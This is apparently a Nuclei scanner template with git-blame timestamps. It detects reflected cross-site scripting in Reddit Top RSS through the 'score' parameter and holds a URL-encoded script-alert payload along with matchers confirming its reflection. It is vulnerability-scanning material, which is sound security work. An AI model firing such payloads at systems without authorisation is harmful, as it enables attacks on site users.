nuclei-templates/http/vulnerabilities/other/reddittop-rss-xss.yaml

42 lines
1.1 KiB
YAML
Raw Permalink Normal View History

2022-08-12 10:25:22 +00:00
id: reddittop-rss-xss
2022-08-12 07:09:23 +00:00
info:
name: Reddit Top RSS - Cross-Site Scripting
2022-08-12 07:09:23 +00:00
author: arafatansari
severity: high
2022-08-12 07:09:23 +00:00
description: |
Reddit Top RSS contains a cross-site scripting vulnerability via the /?subreddit=news&score= parameter.
2022-08-12 07:09:23 +00:00
reference:
- https://github.com/johnwarne/reddit-top-rss/issues/12
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 7.2
cwe-id: CWE-79
2022-08-12 10:25:22 +00:00
metadata:
verified: true
2023-10-14 11:27:55 +00:00
max-request: 1
2022-08-12 10:25:22 +00:00
tags: reddit,rss,xss
2022-08-12 07:09:23 +00:00
http:
2022-08-12 07:09:23 +00:00
- method: GET
path:
2022-08-12 10:25:22 +00:00
- '{{BaseURL}}/?subreddit=news&score=2134%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
2022-08-12 07:09:23 +00:00
matchers-condition: and
matchers:
2022-08-12 10:25:22 +00:00
- type: word
part: body
words:
- 'value="2134"><script>alert(document.domain)</script>" min="0"'
2022-08-12 07:09:23 +00:00
- type: word
2022-08-12 10:25:22 +00:00
part: header
2022-08-12 07:09:23 +00:00
words:
2022-08-12 10:25:22 +00:00
- text/html
- type: status
status:
- 200
# digest: 490a0046304402206c5d671dca881b41f94d956517dc32c9e7b4b0e75b9ded97b77dcffe1bf765e702206ce148e2161cdba48c915a46120af7a893ccc3190e54c3152139c7758769b3f0:922c64590222798bb761d5b6d8e72950